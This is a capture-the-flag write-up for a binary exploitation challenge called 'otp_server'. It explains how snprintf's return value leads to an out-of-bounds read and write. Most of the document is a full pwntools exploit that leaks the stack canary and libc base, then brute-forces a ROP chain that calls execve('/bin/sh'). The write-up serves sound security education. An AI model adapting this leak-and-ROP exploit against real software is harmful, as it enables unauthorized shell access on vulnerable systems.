Tags: pwn 

Rating: 5.0

Vulnerable function:

unsigned __int64 __fastcall encrypt_message(char *buf)
{
  unsigned __int64 canary; // ST28_8
  int random; // ST1C_4
  int n; // eax
  canary = __readfsqword(0x28u);
  random = gen_random();
  *(_DWORD *)buf = random;
  n = snprintf(buf + 4, 260uLL, "%s", message);
  *(_DWORD *)&buf[n + 4] = random;
  encrypt(buf);
  print_message(buf, n + 8);
  return __readfsqword(0x28u) ^ canary;
}

Return Value of snprintf:

The number of characters that would have been written if n had been sufficiently large, not counting the terminating null character.

This leads to an out of bounds read in print message function because globals: key and message are contiguous. Write rop chain byte-per-byte (boring part, takes lot of time) due to the fact that: *(_DWORD *)&buf[n + 4] = random; leads to an out of bounds write.

Exploit:

#!/usr/bin/env python
# coding: utf-8
from pwn import *

context.arch = "amd64"
context.terminal = ["tmux", "sp", "-h"]

elf  = ELF("otp_server")
libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so")

HOST = "challenges.fbctf.com"
PORT = 1338

def set_key(key):
    io.sendlineafter(">>>", "1")
    io.sendafter("Enter key:", key)

def encrypt(message):
    io.sendlineafter(">>>", "2")
    io.sendafter("Enter message to encrypt:", message)

def attach(addr):
    gdb.attach(io, 'b *{:#x}\nc'.format(addr + io.libs()[elf.path]))

def bruteforce(offset, value):
    p = log.progress("Bruteforcing %#x" % u64(value))
    for i in range(7, -1, -1):
        j = 0
        end = False
        while not end:
            set_key("A" * offset + "\x00")
            encrypt("B" * 256)

            io.recvuntil("----- BEGIN ROP ENCRYPTED MESSAGE -----\n")
            data = io.recv(4)

            if ord(data[3]) ^ 0x41 == ord(value[i]):
                offset -= 1
                end = True
                log.success("Got byte: %#x" % ord(value[i]))
            else:
                p.status("Attempt %d" % j)
                j += 1
                
    p.success("RET overwritten")

io = process(elf.path) #remote(HOST, PORT)

set_key("A" * 264)
encrypt("B" * 256)

io.recvuntil("----- BEGIN ROP ENCRYPTED MESSAGE -----\n")

data = io.recv(528)

leaked_addrs = []
for i in range(0, len(data), 8):
    leaked_addrs.append(u64(data[i:i+8]))

stack_canary = leaked_addrs[33]
elf.address  = leaked_addrs[34] - 0xdd0
libc.address = leaked_addrs[35] - 0x21b97

log.info("Glibc address: %#x" % libc.address)

# attach(0xdcc)

OFFSET = 24
ONE_GADGET = libc.address + 0x4f2c5

rop_chain = [
    p64(elf.address + 0xe33),
    p64(next(libc.search("/bin/sh\x00"))),
    p64(libc.address + 0x1b96),
    p64(0x0),
    p64(libc.address + 0x23e6a),
    p64(0x0),
    p64(libc.sym["execve"]),
]

for i in range(len(rop_chain) - 1, -1, -1):
    bruteforce(OFFSET + 8 * i, rop_chain[i])

io.sendafter(">>>", "3")

io.interactive()